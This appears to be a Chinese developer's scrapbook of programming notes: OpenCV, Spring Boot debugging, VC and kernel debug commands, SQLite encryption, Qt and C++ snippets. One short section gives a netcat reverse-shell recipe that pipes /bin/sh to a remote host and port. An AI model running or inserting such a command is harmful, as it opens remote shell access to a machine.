1 2 3 4 5 6 7 | #include <opencv2/opencv.hpp> using namespace cv; Mat imgBig = imread("d:/big.jpg"); Mat imgSmall = imgBig(cv::Rect(x, y, w, h)); imwrite("d:/small.jpg", imgSmall); |
SpringBoot Maven Eclipse Debug
先看这个网页:
https://blog.csdn.net/qq_36994788/article/details/76342623
到http://start.spring.io/下把工程建起来。
在pom.xml中加入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> <configuration> <jvmArguments> -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005 </jvmArguments> </configuration> </plugin> </plugins> </build> |
工程右键选择Debug As-〉Maven Build,在Goals中填入:
clean install -Ptest -X spring-boot:run
点执行就可以调试了。
近一步学习的资源:
https://blog.csdn.net/panchao888888/article/details/81060565
几个有用的VC函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | _CrtSetBreakAlloc(12683); OutputDebugString("hi"); DebugBreak(); #define _CRTDBG_MAP_ALLOC #include <crtdbg.h> _CrtSetDbgFlag(_CrtSetDbgFlag(_CRTDBG_REPORT_FLAG) | _CRTDBG_LEAK_CHECK_DF); _CrtSetReportMode(_CRT_ERROR, _CRTDBG_MODE_DEBUG); #pragma warning(disable:4996) #ifdef WIN32 #pragma message("message body") #else #warning "message body" #endif Project->settings->C/C++->Preprocessor->Project options->/P #define new new(_NORMAL_BLOCK, __FILE__, __LINE__) sysdig -c spy_users sed 's/^.\{22\}//' \\.\pipe\com_1 quiet kgdbwait kgdboc=ttyS0,115200 echo g > /proc/sysrq-trigger set auto-load safe-path . gdb /usr/src/kernels/linux-2.6.32.27/vmlinux (gdb) target remote /dev/ttyS0 |
nc反弹shell
1 | nc -lvvp 5555 |
1 2 | mknod /tmp/bp p /bin/sh 0</tmp/bp | nc 192.168.1.38 5555 1>/tmp/bp |
1 2 3 4 5 6 7 8 9 10 11 12 13 | #!/bin/bash debugfs=/sys/kernel/debug echo nop > $debugfs/tracing/current_tracer echo 0 > $debugfs/tracing/tracing_on echo $$ > $debugfs/tracing/set_ftrace_pid echo function_graph > $debugfs/tracing/current_tracer #replace test_proc_show by your function name echo vfs_read > $debugfs/tracing/set_graph_function echo 1 > $debugfs/tracing/tracing_on exec "$@" |
boa cgi reboot
linux下,boa生成的cgi进程调用
1 | system("reboot"); |
是失效的,解决办法是,另起一root身份的侦听进程A,此cgi进程给进程A发msg,通知进程A进行system("reboot")调用。
拷贝构造函数中的vector成员
以下代码在VC2013中运行报错,但在VC2017中运行良好,应该是VC2013的CArray类有BUG。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include <vector> #include <string> using namespace std; void CMFCApplication2Dlg::OnBnClickedButton1() { struct Tst01 { vector<string> t01; }; Tst01 tst01; tst01.t01.push_back("hi"); CArray<Tst01, Tst01> arry; for (int i = 0; i < 10; i++) { arry.Add(tst01); } for (int i = 0; i < 10; i++) { Tst01 &node = arry.GetAt(i); Tst01 nNode(node); // VC2013中此处报错 printf("big is %s.\n", nNode.t01[0].c_str()); } } |
sqlite数据库加密
最好的解决方案是:
1 | git clone https://github.com/utelle/wxsqlite3.git |
打开里面wxsqlite3\sqlite3secure\build目录下的对应VC工程文件,编译sqlite3shell项目,在wxsqlite3\sqlite3secure\bin-vc12\lib\debug下就为生成的sqlite3shell.exe
加密数据库:
1 2 3 | sqlite3shell.exe example.db sqlite> pragma rekey=123456; sqlite> .exit |
读取数据库:
1 2 3 | sqlite3shell.exe example.db sqlite> pragma key=123456; <-- 这条语句必须在打开数据库后作为第一条语名执行 sqlite> select * from table1; |
自已写的程序中一打开数据库db_,就加一句:
1 | sqlite3_key(db_, "123456", 6); |
opencv保存内存位图数据到文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #include <opencv2/opencv.hpp> #ifdef _DEBUG #pragma comment(lib, "opencv_highgui249d.lib") #pragma comment(lib, "opencv_core249d.lib") #pragma comment(lib, "opencv_calib3d249d.lib") #pragma comment(lib, "opencv_imgproc249d.lib") #else #pragma comment(lib, "opencv_highgui249.lib") #pragma comment(lib, "opencv_core249.lib") #pragma comment(lib, "opencv_calib3d249.lib") #pragma comment(lib, "opencv_imgproc249.lib") #endif Mat mat(iHeight, iWidth, CV_8UC3, pData); Mat yuvMat; cvtColor(mat, yuvMat, CV_RGB2YUV); imwrite(path, yuvMat); |
No such method QQuickText::setText(QString)
1 | bool bRet = QMetaObject::invokeMethod(textLabel, "setText", Q_ARG(QString, "world hello")); |
执行这句会报如下错误:
QMetaObject::invokeMethod: No such method QQuickText::setText(QString)
原因是在QQuickText对应的头文件,比如在C:\Qt\5.6.3\msvc2013\include\QtQuick\5.6.3\QtQuick\private\qquicktext_p.h中,setText方法定义前没有Q_INVOKABLE宏。
正确调用QQuickText::setText的方式是:
1 | textLabel->setProperty("text", "hi, bingo"); |
qt creator与vs互操作
qmake -tp vc XXX.pro
std function 调用成员函数的两种方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #include <functional> class Test124 { public: int Sum(int x, int y) { return x + y; } }; int main() { Test124 testObj; // functional1 can be defined using 'auto' keyword instead std::function<int(int, int)> functional1 = std::bind(&Test124::Sum, testObj, std::placeholders::_1, std::placeholders::_2); int result1 = functional1(1, 2); // functional2 can not be defined using 'auto' keyword instead std::function<int(Test124, int, int)> functional2 = &Test124::Sum; int result2 = functional2(testObj, 1, 2); return 1; } |
ON_SCOPE_GUARD
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | class ScopeExit { public: ScopeExit() = default; ScopeExit(const ScopeExit&) = delete; void operator=(const ScopeExit&) = delete; ScopeExit(ScopeExit&&) = default; ScopeExit& operator=(ScopeExit&&) = default; template <typename F, typename... Args> ScopeExit(F&& f, Args&&... args) { func_ = std::bind(std::forward<F>(f), std::forward<Args>(args)...); } ~ScopeExit() { if (func_) { func_(); } }; private: std::function<void()> func_; }; #define _SCOPE_CONCAT(a, b) a##b #define _SCOPE_MAKE_SCOPE_(line) ScopeExit _SCOPE_CONCAT(defer, line) = [&]() #undef ON_SCOPE_GUARD #define ON_SCOPE_GUARD _SCOPE_MAKE_SCOPE_(__LINE__) int main() { FILE* fp = fopen("d:/aa.txt", "w+"); ON_SCOPE_GUARD { fclose(fp); }; fprintf(fp, "hello, file system.\n"); return 1; } |